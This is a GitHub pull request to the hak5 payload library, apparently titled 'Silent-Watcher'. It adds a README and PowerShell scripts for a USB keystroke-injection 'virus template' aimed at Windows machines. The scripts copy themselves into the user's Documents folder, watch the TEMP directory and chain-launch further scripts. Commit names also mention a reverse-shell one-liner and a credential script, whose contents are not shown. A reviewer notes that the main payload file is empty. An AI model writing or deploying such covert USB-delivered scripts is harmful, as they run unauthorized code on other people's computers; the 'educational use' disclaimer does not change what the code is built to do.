-
Notifications
You must be signed in to change notification settings - Fork 1.4k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Silent-Watcher #503
Open
mavisinator30001
wants to merge
13
commits into
hak5:master
Choose a base branch
from
mavisinator30001:master
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Silent-Watcher #503
Changes from all commits
Commits
Show all changes
13 commits
Select commit
Hold shift + click to select a range
d8d3cc2
Synced to Main
mavisinator30001 a4d03f3
Merge branch 'hak5:master' into master
mavisinator30001 1119b54
Create README.md
mavisinator30001 df67c29
Add files via upload
mavisinator30001 90177a7
Create payload.txt
mavisinator30001 c8211a3
Create README.md
mavisinator30001 a76a354
Add files via upload
mavisinator30001 7397c6f
Create call.ps1
mavisinator30001 58436ac
Add files via upload
mavisinator30001 3d9ff35
Delete payloads/library/recon/placeholder directory
mavisinator30001 6838e2b
Merge branch 'hak5:master' into master
mavisinator30001 3e82b60
Create powershellReverseShellOne-Liner.ps1
mavisinator30001 72dcc84
Create sy_cred.ps1
mavisinator30001 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
File renamed without changes.
Binary file not shown.
File renamed without changes.
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
# Silent Watcher | ||
|
||
This is a combination of a DuckyScript payload and a virus template that I created. | ||
To use it, compile `payload.txt` and add it to the root directory of your hotplug. BE SURE TO READ THE CODE! | ||
Some variables are specific to your use case and you may find it in your interest to change the for your purposes. | ||
This program is designed to work on any machine that operates on Windows 11 and higher. | ||
|
||
# How Does It Work? | ||
|
||
When the primed hotplug is inserted into the host machine, it will wait for "CAPSLOCK" to toggle on. This is INTENTIONAL, this is intended to be most effective as a waiting game of sorts. The program will then open a powershell window and run `event.ps1` from the virus directory in the hotplug. | ||
When the `event.ps1` is run, it will listen for any change in the `TEMP` directory of the current user. Once a change is heard, `event.ps1` starts `call.ps1`. | ||
`call.ps1` will then begin a chain reaction which results in `pull.ps1` being copied into "User\$yourUsername\Documents\virus\Virus" and then run. | ||
`pull.ps1` then copies the rest of the "virus" directory of the hotplug into the newely created "Virus" directory. | ||
|
||
# Tips | ||
|
||
You can change this program to most use cases, should there be another directory you would prefer to listen to, change the PATH in `event.ps1` to your desired directory. | ||
You can also change the timer in the same file to your desired time if you are more patient. | ||
The copy directory can be changed as well by changing the PATH in both the `call.ps1` and `pull.ps1` scripts | ||
|
||
# Disclaimer | ||
|
||
I do not take responsibility for any malicious use of this program by others. This is a proof of concept for my own sense of accomplishment, and as such is intended only for educational use. Use this program at your own discretion! | ||
|
||
**The Creator** | ||
|
||
-- Mavis |
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
|
||
$driveLetter = (Get-WmiObject -Query "SELECT * FROM Win32_Volume WHERE label='DUCKY'").DriveLetter | ||
$localUsername = $env:USERNAME | ||
New-Item -Path "C:\Users\$localUsername\Documents" -Name 'virus' -ItemType "directory" | ||
New-Item -Path "C:\Users\$localUsername\Documents\virus" -Name 'Virus' -ItemType "directory" | ||
$pullPathBeforeCopy = Get-ChildItem -Path "$driveLetter\virus" -Recurse -Filter "pull.ps1" | ||
|
||
$pathBeforeCopy = Get-ChildItem -Path "$driveLetter\" -Directory -Recurse -Filter "virus" | ||
$pathAfterCopy = "C:\Users\$localUsername\Documents\virus" | ||
|
||
Copy-Item -Path $pathBeforeCopy -Destination $pathAfterCopy -Recurse | ||
Copy-Item -Path $pullPathBeforeCopy -Destination $pathAfterCopy\Virus | ||
|
||
$time_in_seconds = 10 | ||
while ($time_in_seconds -gt 0) { | ||
#Write-Host "Time remaining: $seconds" | ||
Start-Sleep -Seconds 1 | ||
$time_in_seconds-- | ||
} | ||
Start-Process powershell -ArgumentList "-File", "$pathAfterCopy\Virus\pull.ps1" | ||
|
||
exit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
$folder = "C:\Users\$env:USERNAME\AppData\Local\Temp\" | ||
$filter = "*.LOG" | ||
$Watcher = New-Object IO.FileSystemWatcher $folder, $filter -Property @{ | ||
IncludeSubdirectories = $false | ||
NotifyFilter = [IO.NotifyFilters]'FileName, LastWrite' | ||
} | ||
$onCreated = Register-ObjectEvent $Watcher -EventName Created -SourceIdentifier FileCreated -Action { | ||
$path = $Event.SourceEventArgs.FullPath | ||
$name = $Event.SourceEventArgs.Name | ||
$changeType = $Event.SourceEventArgs.ChangeType | ||
$timeStamp = $Event.TimeGenerated | ||
Write-Host "The file '$name' was $changeType at $timeStamp" | ||
Write-Host $path | ||
#Move-Item $path -Destination $destination -Force -Verbose | ||
} | ||
|
||
Function Register-Watcher { | ||
param ($folder) | ||
$filter = "*.*" #all files | ||
$watcher = New-Object IO.FileSystemWatcher $folder, $filter -Property @{ | ||
IncludeSubdirectories = $false | ||
EnableRaisingEvents = $true | ||
} | ||
|
||
$changeAction = [scriptblock]::Create(' | ||
# This is the code which will be executed every time a file change is detected | ||
$path = $Event.SourceEventArgs.FullPath | ||
$name = $Event.SourceEventArgs.Name | ||
$changeType = $Event.SourceEventArgs.ChangeType | ||
$timeStamp = $Event.TimeGenerated | ||
Write-Host "The file $name was $changeType at $timeStamp" | ||
Invoke-Expression -Command .\call.ps1 | ||
if (Test-Path -Path "C:\Users\mason\Documents\virus") { | ||
Write-Host "Directory already exists" | ||
Get-EventSubscriber -Force | Unregister-Event -Force | exit | ||
|
||
} else { | ||
Invoke-Expression -Command .\call.ps1 | ||
} | ||
') | ||
|
||
Register-ObjectEvent $Watcher -EventName "Changed" -Action $changeAction | ||
} | ||
|
||
Register-Watcher "$folder" | ||
$seconds = 60 | ||
while ($seconds -gt 0) { | ||
Write-Host "Time remaining: $seconds" | ||
Start-Sleep -Seconds 1 | ||
$seconds-- | ||
} | ||
Write-Host "Script Finished!" | ||
|
||
|
||
|
||
Get-EventSubscriber -Force | Unregister-Event -Force | ||
exit | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
$localUsername = $env:USERNAME | ||
$driveLetter = (Get-WmiObject -Query "SELECT * FROM Win32_Volume WHERE label='DUCKY'").DriveLetter | ||
$callPathBeforeCopy = Get-ChildItem -Path $driveLetter\virus -Recurse -Filter "call.ps1" | ||
$callMoveDir = "C:\Users\$localUsername\Documents\virus\Virus\call.ps1" | ||
$eventPathBeforeCopy = Get-ChildItem -Path $driveletter\virus -Recurse -Filter "event.ps1" | ||
$eventMoveDir = "C:\Users\$localUsername\Documents\virus\Virus\event.ps1" | ||
|
||
Copy-Item -Path $callPathBeforeCopy -Destination $callMoveDir | ||
Copy-Item -Path $eventPathBeforeCopy -Destination $eventMoveDir |
This file was deleted.
Oops, something went wrong.
71 changes: 0 additions & 71 deletions
71
payloads/library/remote_access/ReverseDuckyII/ReverseDuckyII.txt
This file was deleted.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Your payload file is empty.
Please fix this and include the contents of your payload.